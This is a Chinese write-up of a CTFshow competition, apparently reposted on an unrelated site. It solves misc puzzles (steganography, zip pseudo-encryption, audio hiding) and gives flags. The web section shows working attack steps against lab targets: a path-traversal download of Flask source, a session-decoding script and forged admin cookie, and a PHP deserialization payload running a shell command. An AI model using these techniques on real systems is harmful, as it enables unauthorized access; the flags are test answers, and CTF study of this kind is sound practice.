CTFshow

您所在的位置:网站首页 这是什么菜 CTFshow

CTFshow

2024-02-12 19:09| 来源: 网络整理| 查看: 265

经过了48小时的奋战,在这次比赛中成功拿下4400分,同时也发现了自己的许多不足;

MISC 杂项签到

下载附件后进行解压,发现是一张图片,通过二进制查看工具(WinHex/010 Editor)打开该图片,Ctrl+F搜索文本"ctfshow",即可发现:

ctfshow{a62b0b55682d81f7f652b26147c49040}

损坏的压缩包

通过Linux 使用file命令查看文件格式,得知该文件为PNG文件,修改文件后缀即可正常打开图片;

ctfshow{e19efe2eb86f10ccd7ca362110903c05}

谜之栅栏

下载附件后进行解压获得文件如下:

将文件使用Linux中的diff命令进行对比发现的确不同,然后使用HexCmp.exe工具将两张图片进行比较;

然后将两张图片中的flag按个拼接即可得到flag

ctfshow{f0a6a0b721cfb949a7fb55ab5d8d210a}

你会数数吗

下载附件后,使用010editor的 工具→直方图→无符号字节→进行降序排序;

ctfshow{a1b2d3e4g56i7j8k9l0}

你会异或吗

使用010 Editer打开然后进行异或即可

然后保存,即可正常打开图片;

ctfshow{030dOf5073ab4681d30866d1fdf10ab1}

我是谁??

打开链接发现是看图识美女,要通过30关;但是手里没有好用的图片识别工具,自己也不太懂这方面,便肉眼通过了30关,还浅浅拿了一血😂

黑丝白丝还有什么丝?

访问链接发现是探姬的福利视频(bushi),然后根据提示的摩斯密码不难猜测到黑丝为1,白色为0,然后分割标志为视频的转场动画,

ctfshow{W4NTT0B3MORECUTE}

我吐了你随意

下载附件打开发现是文本,发现提示为O宽隐写->即为零宽隐写

参考文档:零宽度字符隐写 | Lazzaro

使用在线解密:Unicode Steganography with Zero-Width Characters

ctfshow{OP_is_for_Over_Power}

这是个什么文件?

下载附件后,发现是一个压缩包,里面存在文件;

但是压缩包存在密码,先使用伪加密脚本跑一下,看看是不是伪加密;

这里发现成功破除伪加密(也可以手动修改破伪加密),然后通过文件头判断压缩包中的文件类型为.pyc,并修改文件后缀名为.pyc(否则在线工具无法正常反编译;)

再使用在线工具进行pyc反编译:python反编译 - 在线工具

得到Python代码,然后运行即可获得flag

#!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.7 flag = bytes([ 99, 116, 102, 115, 104, 111, 119, 123, 99, 100, 106, 110, 106, 100, 95, 53, 54, 53, 102, 95, 71, 67, 68, 72, 95, 107, 99, 114, 105, 109, 125]).decode() print(flag)

ctfshow{cdjnjd_565f_GCDH_kcrim}

我可没有骗你

下载附件发现是存在密码的压缩包,使用ARCHPR进行爆破得到密码55813329;然后得到了压缩包中的音频文件,然后发现文件后缀为.wav而不是原本的.mp3,猜测需要使用Silent eye工具 Sound qualit选择high,然后就得到flag啦

ctfshow{aha_cdsc_jejcfe5rj_cjfr24J}

你被骗了

下载附件发现副标题存在flag,但是不对,便考虑使用MP3Stego进行解密便得到flag;

ctfshow{chdv_1dcs_cjksnjn_NJDSjdcdjn}

一闪一闪亮晶晶

下载附件,压缩包->两个文件,一个是未加密的汉信码

解码网站:https://tuzim.net/hxdecode/

另外一个是需要密码音频文件,密码即为汉信码解码后的内容;

然后听音频发现是无线电音频,直接上RX-SSTV

打不开的图片

下载附件,使用010 Editer打开然后十六进制取反即可

WEB

📎Web_wp.docx

web2 c0me_t0_s1gn

查看网页源代码得到一半flag

然后查看控制台,根据提示调用函数获得另一半flag

我的眼里只有$

抽老婆

查看网站源码发现存在文件下载的API

然后随便构造URL下载一个文件,根据报错提示判断出网站为Python的Flask框架搭建

然后利用该API下载网站源码:试试URL/download?file=../../app.py

# !/usr/bin/env python # -*-coding:utf-8 -*- """ # File : app.py # Time :2022/11/07 09:16 # Author :g4_simon # version :python 3.9.7 # Description:抽老婆,哇偶~ """ from flask import * import os import random from flag import flag #初始化全局变量 app = Flask(__name__) app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!' @app.route('/', methods=['GET']) def index(): return render_template('index.html') @app.route('/getwifi', methods=['GET']) def getwifi(): session['isadmin']=False wifi=random.choice(os.listdir('static/img')) session['current_wifi']=wifi return render_template('getwifi.html',wifi=wifi) @app.route('/download', methods=['GET']) def source(): filename=request.args.get('file') if 'flag' in filename: return jsonify({"msg":"你想干什么?"}) else: return send_file('static/img/'+filename,as_attachment=True) @app.route('/secret_path_U_never_know',methods=['GET']) def getflag(): if session['isadmin']: return jsonify({"msg":flag}) else: return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"}) if __name__ == '__main__': app.run(host='0.0.0.0',port=80,debug=True)

然后发现存在密钥app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'和/secret_path_U_never_know路径;我们先对路径进行访问,被告知进行了身份验证,因此我们尝试进行Session伪造;

通过搜索发现存在flask-session-cookie-manager-master工具可以实现flask框架的Session伪造;

并且我们需要对我们当前的Session进行解密,脚本如下:

#!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption("eyJjdXJyZW50X3dpZmkiOiIzMjBlN2Q1N2E0YTlmZGUwNzk1YmQ2MjIyNjQ5OWY2YS5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y2_BBw.Ucr4DWF6-6-IjmlyadXqJYIK4O0".encode()))

解密后得到:

{'current_wifi': '320e7d57a4a9fde0795bd62226499f6a.jpg', 'isadmin': False}

然后利用flask-session-cookie-manager-master工具获取伪造后的Session

python3 flask_session_cookie_manager3.py encode -s tanji_is_A_boy_Yooooooooooooooooooooo! -t "{'current_wifi': '320e7d57a4a9fde0795bd62226499f6a.jpg', 'isadmin': True}"

最后使用Bp修改Session发包即可;

TapTapTap

查看满足要求后的JS代码,然后进行Base64解码得到

Your flag is in /secret_path_you_do_not_know/secretfile.txt 访问该地址得到flag。

Webshell

http://e7335cf5-fb21-4a9c-aff6-f2485e27e841.challenge.ctf.show/?cmd=O:8:"Webshell":1:{s:3:"cmd";s:13:"cat * > 1.txt";}

化零为整

http://01aec60f-a0a8-473e-8bd4-116d2ba010d0.challenge.ctf.show/?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

无一幸免

原题:



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3